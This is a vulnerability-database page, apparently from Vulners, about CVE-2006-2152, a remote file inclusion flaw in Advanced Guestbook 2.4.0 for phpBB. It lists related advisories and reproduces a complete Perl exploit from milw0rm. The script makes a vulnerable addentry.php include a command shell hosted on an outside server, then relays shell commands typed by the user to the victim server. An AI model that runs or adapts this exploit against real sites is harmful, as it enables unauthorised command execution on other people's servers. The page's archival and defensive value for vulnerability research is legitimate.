Advanced Guestbook 2.4.0 - 'phpBB' Remote File Inclusion (RFI)
| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
| phpBB Advanced GuestBook addentry.php phpbb_root_path Parameter Remote File Inclusion | 3 May 200600:00 | – | nessus | |
| CVE-2006-2152 | 3 May 200610:00 | – | cve | |
| CVE-2006-2152 | 3 May 200610:00 | – | cvelist | |
| Advanced Guestbook 2.4.0 - 'phpBB' File Inclusion | 28 Apr 200600:00 | – | exploitdb | |
| CVE-2006-2152 | 3 May 200610:02 | – | nvd | |
| Remote file inclusion | 3 May 200610:02 | – | prion | |
| CVE-2006-2152: Undefined Security Weakness | 3 May 200600:00 | – | rapid7 |
#!usr/bin/perl
use LWP::UserAgent;
# Bug Found by [Oo]
# Exploit coded by n0m3rcy
# Copyright (c) 2006 [email protected]
# Gr33tz; nukedx , Devil-00 , str0ke , cijfer
# Usage; n0ag.pl <target> <cmd shell location> <cmd shell variable>
if (@ARGV ne 3) { &usage; }
else { &exploit; }
sub header() {
print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n";
print "+ Advanced GuestBook for phpBB <= 2.4.0 Remote File Inclusion Exploit +\r\n";
print "+ Bug found by [Oo] +\r\n";
print "+ Copyright (c) 2006 [email protected] +\r\n";
print "+ Gr33tz: nukedx , cijfer , str0ke , Devil-00 +\r\n";
print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n";
}
sub usage() {
&header;
print "- Usage: $0 <target> <cmd shell location> <cmd shell variable>\r\n";
print "- <target> -> Victim's target ex: www.victim.com/path/\r\n";
print "- <cmd shell location> -> www.milw0rm.com/shelltxt\r\n";
print "- <cmd shell variable> -> cmd\r\n";
exit();
}
sub exploit () {
my $tar = $ARGV[0];
my $cmdt = $ARGV[1];
my $cmdv = $ARGV[2];
while() {
print "[CMD] \$";
while(<STDIN>) {
$cmd=$_;
chomp($cmd);
my $exp = LWP::UserAgent->new() or die;
my $go = HTTP::Request->new(GET =>$tar.' admin/addentry.php?phpbb_root_path='.$cmdt.'?&'.$cmdv.'='.$cmd)or die "\r\n[-] Connected fail\n";
my $rgo = $exp->request($go);
my $return = $rgo->content;
my $return =~ tr/[\n]/[ê]/;
if (!$cmd) { print "\nPlease Enter a Command\n\n"; $return =""; }
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
{ print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit }
elsif ($return =~/^<br.\/>.<b>Fatal.error/) { print "\nInvalid Command or No Return\n\n" }
if ($return =~ /(.*)/) {
my $finreturn = $1;
my $finreturn=~ tr/[ê]/[\n]/;
print "\r\n$finreturn\n\r";
print "[+] Exploit successed\r\n";
last;
}
else { print "[CMD] \$"; }
last;
}
exit;
}
}
# milw0rm.com [2006-04-28]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Nov 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.08535